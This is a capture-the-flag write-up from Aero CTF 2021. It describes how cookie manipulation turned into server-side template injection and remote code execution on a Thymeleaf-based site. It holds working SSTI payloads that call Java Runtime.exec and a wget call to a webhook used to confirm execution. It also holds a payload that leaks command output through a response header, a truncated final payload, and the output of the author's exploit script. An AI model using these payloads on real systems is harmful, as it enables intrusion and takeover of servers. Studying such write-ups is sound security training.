
Aero CTF 2021

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Challenge description (Web category)



TL;DR

Server Side Template Injection on Thymeleaf template engine to gain RCE.

Solution


Discovery of the vuln

The challenge description says that the site is **available in english and russian**, this probably is written to point the attention to something involving the language.


Also the challenge description tell that the flag should be located at / on the file system, this make me think that it is necessary to gain at least an **arbitrary file read** or **RCE** to get the flag.

By inspection the site it is possible to notice that we can choose the language by clicking on a button.

As it is possible to notice that when the button is clicked (onclick event), then the set_language(lang) function will be executed.



The function simply set a cookie named **lang** with the values **en** or **ru** and then reload the page. Let's inspect the requests with burp-proxy.



The first thing that I tried during the CTF, was to modify the cookie with some simple directory traversal payloads.








The directory traversal seems working, but if we try to include some arbitrary file (such as /etc/passwd) we got a 500 internal server error. The error is verbose enough to show the server side exception:

org.thymeleaf.exceptions.TemplateInputException and

by googling this error, I come across to this template engine: thymeleaf.



The exception thrown seems to be related to loading the template, and that smells like **SSTI** to me. So I start searching for **SSTI** on **Thymeleaf** and I discovered a couple of related articles:

- https://www.acunetix.com/blog/web-security-zone/exploiting-ssti-in-thymeleaf/
- https://www.veracode.com/blog/secure-development/spring-view-manipulation-vulnerability

Exploitation


Reading these articles, we can notice that a template injection in **Thymeleaf** it may be possible if a template name or a fragment are concatenated with untrusted data.

To get a better explanation and details I really council the readers to read the articles mentioned before.

The proposed payloads to gain RCE are these:

- __\${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("<cmd-here>").getInputStream()).next()}_::.x
- \${T(java.lang.Runtime).getRuntime().exec('<cmd-here>')}

At this point I simply tried one of these payloads into the **lang** cookie with a command such as ping <code>wget <webhook-endpoint></code> to verify the **command execution** and it worked :=).



Now I had **RCE** and since the flag was located in *I*, I needed some way to enumerate the file system contents and extract the flag. Problem was that it was not possible to use all the bash functionality such us ||, &, ``, \$. I also tried to extract files with and write files with wget , but no luck with that solution.

To summarize I had the ability to run commands, but no way to build a payload (time based or OOB) that allow me to extract the output of an arbitrary command.

At this point I start to read the **thymeleaf** documentation and some Java-doc for Java objects, the basic idea that I had was to insert the output of the executed command directly into the **response**, for example by using a crafted HTTP header response with the output. After a bit of pain, I was able to build this payload: __\${#response.setHeader("cmd-out","test")}_::.x and it worked:)!\

[the above payload should work well on Thymeleaf 3.0, probably for Thymeleaf 2.1 could be:

__\${#ctx.httpServletResponse.setHeader("cmd-out","test")}__:.x]

Expression Basic Objects

When evaluating OGNL expressions on the context variables, some objects are made available to expressions for higher flexibility. These objects will be referenced (per OGNL standard) starting with the # symbol:


- #ctx: the context object.
- #vars: the context variables.
- #locale: the context locale.
- #request: (only in Web Contexts) the HttpServletRequest object.
- #response: (only in Web Contexts) the HttpServletResponse object.
- #session: (only in Web Contexts) the HttpSession object.
- #servletContext: (only in Web Contexts) the ServletContext object.

So we can do this:

Established locale country: US

You can read the full reference of these objects in Appendix A.





Now that we have the ability to modify the response, I simply played a bit with the Java-doc to build a payload that reads the output of the command and save it into the crafted header.

The final payload:

```
__${#response.setHeader(\"cmd-out\",#uris.escapeQueryParam(new java.io.BufferedReader(new java.io.InputStreamReader(T(j
```

This payload will execute the 1s command, read the first line, url-encode it and insert in the cmd-header of the HTTP response.

Here you can download a simple python script that I made during the CTF to automate all of these steps and read all the lines of the executed command.

```
p4w⊡ LAPTOP-076H09P9)-[,
                                                                   /aero_CTF/web/Localization_is_hard]
  $ python2.7 x.py
total 88
drwxr-xr-x
            1 root
                         root
                                        4096 Feb 27 10:46 .
                                        4096 Feb 27 10:46 ..
            1 root
1 root
drwxr-xr-x
                         root
                                         0 Feb 27 10:46 .dockerenv
-rwxr-xr-x
                          root
drwxr-xr-x
                                      4096 Feb 27 10:45 app
            1 root
                                      4096 Feb 17 15:07 bin
drwxr-xr-x
              2 root
                         root
                                        340 Feb 28 09:20 dev
drwxr-xr-x
                          root
drwxr-xr-x
                                      4096 Feb 27 10:46 etc
            1 root
                         root
            2 root
                                      4096 Feb 17 15:07 home
4096 Feb 26 00:46 lib
drwxr-xr-x
drwxr-xr-x
              1 root
                         root
                                      4096 Feb 26 00:46 lib64
drwxr-xr-x
                         root
                                      4096 Feb 17 15:07 media
4096 Feb 17 15:07 mnt
drwxr-xr-x
drwxr-xr-x
              2 root
                         root
           1 root
                                      4096 Feb 26 00:47 opt
drwxr-xr-x
                         root
                                         0 Feb 28 09:20 proc
dr-xr-xr-x 553 root
                                      4096 Feb 17 15:07 root
4096 Feb 17 15:07 run
drwx----- 2 root
drwxr-xr-x 2 root
                                      4096 Feb 17 15:07 sbin
4096 Feb 17 15:07 srv
drwxr-xr-x
                         root
drwxr-xr-x
            1 root
                                        41 Feb 27 10:27 start.sh
-r-xr-xr-x
                         root
dr-xr-xr-x
                                           0 Feb 28 09:20 sys
            1 root
1 root
                                       12288 Feb 28 09:23 tmp
drwxrwxrwt
                         root
                                        34 Feb 27 10:45 try_find_me.txt
-rw-r--r--
                         root
                                        4096 Feb 26 00:47 usr
drwxr-xr-x
            1 root
                         root
drwxr-xr-x
             1 root
                         root
                                        4096 Feb 17 15:07 var
> id
uid=65534(nobody) gid=65534(nobody)
> cat /try_find_me.txt
Aero{j4va_1s_better_th4n_engl1sh}
```

That's all folk, I think that was really an interesting challenge!\
Cheers, p4w =)